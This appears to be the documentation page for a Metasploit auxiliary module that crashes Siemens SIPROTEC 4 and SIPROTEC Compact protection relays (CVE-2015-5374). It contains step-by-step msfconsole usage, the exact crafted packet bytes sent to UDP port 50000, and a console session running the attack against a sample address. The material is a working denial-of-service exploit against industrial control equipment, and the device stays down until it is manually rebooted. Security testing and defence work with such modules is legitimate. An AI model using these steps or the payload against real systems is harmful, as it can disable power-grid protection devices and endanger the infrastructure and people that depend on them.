metasploit-framework

2.9 KiB

Raw Blame History

Description

This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) device. A manual reboot is required to return the device to service.

Vulnerable Application

Since this exploit hits the embedded software of a SCADA component, there is no vulnerable application for download on the web. You may check the vendor's website for additional information. (http://w3.siemens.com/smartgrid/global/en/products-systems-solutions/downloads/Pages/SIPROTEC-4-Downloads.aspx) You may also check the demo video: (https://drive.google.com/open?id=176ZC7nLJyJHGHPB3LbRxvLgArE9kOjPz)

Verification Steps

Start msfconsole
use auxiliary/dos/scada/siemens_siprotec4
Set RHOST <TARGET>, replacing <TARGET> with the IP address you wish to attack.
run
Verify that you see [*] Sending DoS packet ...
Verify that you see [*] Auxiliary module execution completed
Verify that the exploit sends a specially crafted packet which contains 11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E

Document: (https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/README.md) Metasploit Module is written based on this exploit: (https://www.exploit-db.com/exploits/44103/)

Options

set RHOST <TARGET_IP>, set RPORT <TARGET_PORT> (Default 50000).

Scenarios

msf auxiliary(siemens_siprotec4) > info

     Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module Denial of Service 
   Module: auxiliary/dos/scada/siemens_siprotec4
  License: Metasploit Framework License (BSD)
     Rank: Normal

Provided by:
M. Can Kurnaz

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
RHOST                   yes       The target address
RPORT  50000            yes       The target port (UDP)

Description:
This module sends a specially crafted packet to port 50000/UDP 
causing a denial of service of the affected (Siemens SIPROTEC 4 and 
SIPROTEC Compact < V4.25) devices. A manual reboot is required to return the 
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8 
have been assigned to this vulnerability.

References:
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
https://www.exploit-db.com/exploits/44103/

msf auxiliary(siemens_siprotec4) > show options 

Module options (auxiliary/dos/scada/siemens_siprotec4):

 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 RHOST                   yes       The target address
 RPORT  50000            yes       The target port (UDP)

msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run

[*] Sending DoS packet ... 
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >

2.9 KiB Raw Blame History